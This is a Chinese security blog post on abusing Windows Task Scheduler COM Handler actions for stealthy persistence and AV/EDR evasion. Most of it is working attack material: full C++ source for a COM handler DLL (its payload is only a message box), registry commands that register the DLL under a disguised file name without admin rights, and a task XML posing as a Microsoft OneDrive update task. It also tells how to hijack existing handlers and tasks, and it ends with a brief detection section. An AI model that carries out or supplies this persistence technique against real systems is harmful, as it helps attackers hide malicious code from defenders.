0x1 前言

先知社区中没看到关于Windows任务计划COM Handler的文章,遂写一篇关于Windows任务计划COM Handler

本文会先介绍Windows任务计划COM Handler是什么(下文简称COM Handler),然后介绍它在权限维持中的应用,最后介绍通过C++实现COM Handler、通过注册表注册COM Handler、通过任务计划调用COM Handler

0x2 COM Handler是什么

我们都知道Windows任务计划中的动作包括:启动程序、发送电子邮件、显示消息
image

其实还有一个动作叫COM Handler,我们无法通过任务计划的GUI或CLI直接指定动作为COM Handler,但可以通过导入xml文件或调用任务计划API的方式创建,先看看它的样子,如下图所示,COM Handler创建后,动作的名字是Custom Handler
image

那COM Handler是什么呢,在Windows任务计划程序中,COM Handler是一种特殊的动作,与传统的“启动程序”或“发送电子邮件”不同,它允许任务计划程序调用一个注册在系统中的 COM 对象来执行特定的逻辑。

简单来说,当任务触发时,任务计划程序不会启动一个新的exe进程,而是加载一个指定的dll文件并在任务计划程序的进程中运行代码

0x3 COM Handler滥用

看完上面的介绍,经常搞Windows终端攻防的同学都会想到,这是原生免杀的命令执行和权限维持特性,攻击者可以利用这个特性执行恶意dll,dll运行在任务计划宿主进程taskhostw.exe中,原生实现了进程注入,再配置创建任务计划,还可隐蔽实现权限维持,隐蔽性主要体现在以下几个方面

1.执行方式多种多样

正常流程是自己实现一个COM Handler,注册到系统,创建任务计划,其中注册到系统这个环节还可以劫持系统中已注册的COM Handler(修改已有COM Handler对应的注册表项,使其指向自己的dll)

  • 通过reg add的方式,或通过reg import的方式
  • 通过注册表API
  • 通过INF文件的方式,通过INF文件修改注册表本质是SetupAPI.dll在修改注册表,这是一个白文件,也可以绕过部分安全软件的监测
  • 等等

创建任务计划这个环节,还可以劫持系统中已有的任务计划(修改已有任务计划配置文件中的CLSID,使其指向自己的COM Handler),甚至可以将COM Handler设置为第二个动作,不同AV/EDR的侧重点是不同的,上述这么多方式,我相信总有一种对你有用

2.进程链更干净

AV/EDR或病毒分析师经常通过可疑的进程链来判定某个白文件是否被滥用,比如任务计划进程的子进程是cmd.exe、powershell.exe、rundll32.exe等,则被认为是可疑的,在某些严格的组织中,不仅仅是cmd.exe、powshell.exe,如果子进程是不常见的程序、或进程对应的程序位于非常见路径下(比如非C:\Windows\System32),均会触发告警

但当使用COM Handler时,执行COM Handler的进程是dllhost.exe,所以任务计划进程的子进程是dllhost.exe,dllhost.exe载入dll也是一个常规操作,大大降低了可疑性

正常创建一个任务计划,新进程会作为任务计划服务程序的子进程,如下图所示:svchost.exe -k netsvcs -p -s Schedule下面出现了cmd.exe,通常被认为是可疑的
image

当使用COM Handler时,执行dll的是dllhost.exe,进程链变成了svchost.exe -> dllhost.exe,命令行参数是/Processid:{6B9279D0-D220-4288-AFDF-E424F558FEF2},很难被界定为是可疑操作
image

3.参数更隐蔽

很多AV/EDR也会通过进程的命令行参数来检测恶意行为,比如经典的mimikatz提取凭证时用到的参数

1
2
privilege::debug
sekurlsa::logonpasswords

而COM Handler传给dllhost的是一串CLSID,很难被界定为是可疑参数

上述多种优势表明COM Handler是不错的攻击选择,我之前在护网行动中也使用过这项技术,在触发AV/EDR告警时,安全运营人员由于找不到恶意文件在哪里,甚至会将其加白

0x4 COM Handler实现权限维持

先捋一下底层逻辑:

当创建的计划任务被触发时,任务计划程序(此时作为COM客户端)从配置文件中获取CLSID传给COM运行时,COM运行时根据CLSID从注册表中查询DLL(此时作为COM服务端)的位置,COM运行时将DLL载入到内存后,从DLL中查找固定名称的函数DllGetClassObject

也就是说DLL首先需要实现导出函数DllGetClassObject,然后就是常规的,先创建类工厂(Class Factory)对象,再通过类工厂对象创建TaskHandler对象,最后通过TaskHandler对象中的方法Start执行恶意代码,其实我们就是实现了一个COM服务端

相应的实现过程分为三步

  1. 开发一个DLL形式的COM服务端
  2. 注册COM,将开发好的DLL注册到相应的注册表位置
  3. 创建计划任务,只能通过XML或API的方式创建

COM服务端开发

Source.def,声明dllmain中需要导出的函数

1
2
3
4
LIBRARY ComActionCpp
EXPORTS
DllCanUnloadNow PRIVATE
DllGetClassObject PRIVATE

dllmain.cpp,注释中包含相应解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <initguid.h>
#include <comdef.h>
#include "ClassFactory.hpp"
#include "TaskHandler.hpp"

// 此处的值需要是注册表中注册的CLSID
extern "C" {
DEFINE_GUID(CLSID_TaskHandler, 0xECABD3A3, 0x725D, 0x4334, 0xAA, 0xFC, 0xBB, 0x13, 0x23, 0x4F, 0x12, 0x02);
}

extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
return TRUE;
}

#pragma warning(push)
#pragma warning(disable: 28252)
#pragma warning(disable: 28251)

// COM运行时载入DLL后,会首先调用名为DllGetClassObject的函数
// 创建类工厂对象后,传给COM运行时,COM运行时拿到类工厂对象后,创建TaskHandler对象
// 最后将TaskHandler对象传给COM客户端(任务计划程序),由COM客户端调用其中的方法Start
STDAPI DllGetClassObject(_In_ REFCLSID clsid, _In_ REFIID iid, _Outptr_ LPVOID FAR* ppv)
{
if (IsEqualGUID(clsid, CLSID_TaskHandler))
{
ClassFactory* pAddFact = new ClassFactory();
if (pAddFact == NULL)
return E_OUTOFMEMORY;
else
{
return pAddFact->QueryInterface(iid, ppv);
}
}
return CLASS_E_CLASSNOTAVAILABLE;
}

// COM运行时最后卸载DLL时,会调用这个函数
STDAPI DllCanUnloadNow(void)
{
if (g_nComObjsInUse == 0)
{
return S_OK;
}
else
{
return S_FALSE;
}
}
#pragma warning(pop)

ClassFactory.hpp,类工厂头文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#pragma once

#include <comdef.h>
#include "TaskHandler.hpp"

#define COM_CLASS_NAME CTaskHandler

class ClassFactory : public IClassFactory
{
public:
ClassFactory()
{
InterlockedIncrement(&m_nRefCount);
}

~ClassFactory()
{
InterlockedDecrement(&m_nRefCount);
}

// IUnknown中的3个方法必须实现
STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override;
STDMETHODIMP_(ULONG) AddRef() override;
STDMETHODIMP_(ULONG) Release() override;

// IClassFactory中的2个方法必须实现
STDMETHODIMP CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv);
STDMETHODIMP LockServer(_In_ BOOL bLock);

private:
long m_nRefCount;
};

ClassFactory.cpp,类工厂实现文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include "ClassFactory.hpp"

STDMETHODIMP ClassFactory::CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
COM_CLASS_NAME* pTaskHandler;
if (!ppv) { return E_INVALIDARG; }
if (pUnknownOuter) { return CLASS_E_NOAGGREGATION; }
pTaskHandler = new COM_CLASS_NAME();
if (!pTaskHandler) { return E_OUTOFMEMORY; }
return pTaskHandler->QueryInterface(riid, ppv);
}

STDMETHODIMP ClassFactory::LockServer(_In_ BOOL bLock)
{
UNREFERENCED_PARAMETER(bLock);
return S_OK;
}

STDMETHODIMP ClassFactory::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
if (!ppv) { return E_INVALIDARG; }
if (IsEqualGUID(riid, IID_IUnknown))
{
*ppv = static_cast<IUnknown*>(this);
}
else if (IsEqualGUID(riid, IID_IClassFactory))
{
*ppv = static_cast<IClassFactory*>(this);
}
else {
*ppv = NULL;
return E_NOINTERFACE;
}
AddRef();
return S_OK;
}

STDMETHODIMP_(ULONG) ClassFactory::AddRef()
{
return InterlockedIncrement(&m_nRefCount);
}

STDMETHODIMP_(ULONG) ClassFactory::Release()
{
LONG nRefCount = 0;
nRefCount = InterlockedDecrement(&m_nRefCount);
if (nRefCount == 0) delete this;
return nRefCount;
}

TaskHandler.hpp,注释中包含相应解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#pragma once

#include <taskschd.h>
#include <comdef.h>

extern long g_nComObjsInUse;

class CTaskHandler : public ITaskHandler
{
public:
CTaskHandler();
virtual ~CTaskHandler();

// IUnknown中的3个方法必须实现
STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override;
STDMETHODIMP_(ULONG) AddRef() override;
STDMETHODIMP_(ULONG) Release() override;

// 下列为自定义方法
STDMETHODIMP Start(IUnknown* handler, BSTR data) override;
STDMETHODIMP Stop(HRESULT* retCode) override;
STDMETHODIMP Pause() override;
STDMETHODIMP Resume() override;
private:
long m_nRefCount;
};

TaskHandler.cpp,头文件TaskHandler.hpp对应的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <initguid.h>
#include <ObjIdl.h>
#include <Windows.h>
#include "TaskHandler.hpp"

DEFINE_GUID(IID_ITaskHandler, 0x839d7762, 0x5121, 0x4009, 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04);

extern "C" DWORD WINAPI init() {
MessageBoxA(NULL, "Title", "Hello ybdt, I am from COM Handler", 0);
return 0;
}

CTaskHandler::CTaskHandler()
{
InterlockedIncrement(&m_nRefCount);
}

CTaskHandler::~CTaskHandler()
{
InterlockedDecrement(&m_nRefCount);
}

STDMETHODIMP CTaskHandler::Start(IUnknown* handler, BSTR data)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
init();
return S_OK;
}

STDMETHODIMP CTaskHandler::Stop(HRESULT* retCode)
{
ExitProcess(0);
return S_OK;
}

STDMETHODIMP CTaskHandler::Pause()
{
ExitProcess(0);
return S_OK;
}

STDMETHODIMP CTaskHandler::Resume()
{
return S_OK;
}

STDMETHODIMP CTaskHandler::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
if (!ppv) { return E_INVALIDARG; }

if (IsEqualGUID(riid, IID_IUnknown))
{
*ppv = static_cast<IUnknown*>(this);
}
else if (IsEqualGUID(riid, IID_ITaskHandler))
{
*ppv = static_cast<ITaskHandler*>(this);
}
else {
*ppv = NULL;
return E_NOINTERFACE;
}

AddRef();
return S_OK;
}

STDMETHODIMP_(ULONG) CTaskHandler::AddRef()
{
return InterlockedIncrement(&m_nRefCount);
}

STDMETHODIMP_(ULONG) CTaskHandler::Release()
{
LONG nRefCount = 0;
nRefCount = InterlockedDecrement(&m_nRefCount);
if (nRefCount == 0) delete this;
return nRefCount;
}

代码放到:https://github.com/ybdt/evasion-hub/tree/master/05-Persistence/COM-Handler

编译后的文件为ComActionCpp.dll,经测试,名字和后缀都可以随意更改,我们将它改为comhandler.dat,位置也是我们自定义的,我们将它放在C:\Users\admin\Desktop\test下

COM服务端注册

一共需要创建6个注册表项

1
2
3
4
5
6
7
8
9
10
11
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}"

reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}" /v "AppId" /t REG_SZ /d "{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"

reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /d "C:\Users\admin\Desktop\test\comhandler.dat"

reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both"

reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"

reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}" /v "DllSurrogate" /t REG_SZ

由于都是在HKCU下操作,所以不需要管理员权限也可以

上述是在本地测试,实战中可以使用trustedsec的项目CS-Remote-OPs-BOF中的reg_set:https://github.com/trustedsec/CS-Remote-OPs-BOF

任务计划创建

任务计划定义了2种触发器,一种是任务计划创建后立即执行,另一种是每隔1小时执行一次,XML文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Author>Microsoft Corporation</Author>
<URI>\OneDrive Standalone Update Task-S-1-5-21-1299387972-143441575-8753562129-1001</URI>
</RegistrationInfo>
<Triggers>
<RegistrationTrigger id="Registration Trigger">
<Enabled>true</Enabled>
</RegistrationTrigger>
<CalendarTrigger>
<Repetition>
<Interval>PT1H</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2022-01-12T12:40:56</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>false</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1H</Interval>
<Count>999</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<ComHandler>
<ClassId>{ECABD3A3-725D-4334-AAFC-BB13234F1202}</ClassId>
</ComHandler>
</Actions>
</Task>

使用如下命令将创建任务计划

1
schtasks.exe /create /xml "task.xml" /tn "Test Schedule"

同样,在实战中我们可以使用trustedsec的项目CS-Remote-OPs-BOF中的schtaskscreate:https://github.com/trustedsec/CS-Remote-OPs-BOF

可以看到成功执行我们的COM Handler
image

0x5 COM Handler检测

在任务计划的GUI和CLI中是无法看到对应的dll文件,需要

  1. 通过任务计划XML文件获取CLSID
  2. 查询那个CLSID在注册表的位置
  3. 检查CLSID的子项InProcSever32指向的文件是否是恶意文件

参考链接

https://blog.yaxser.io/posts/task-scheduler-com-handler
https://github.com/Yaxser/Itaskhandler
https://github.com/trustedsec/CS-Remote-OPs-BOF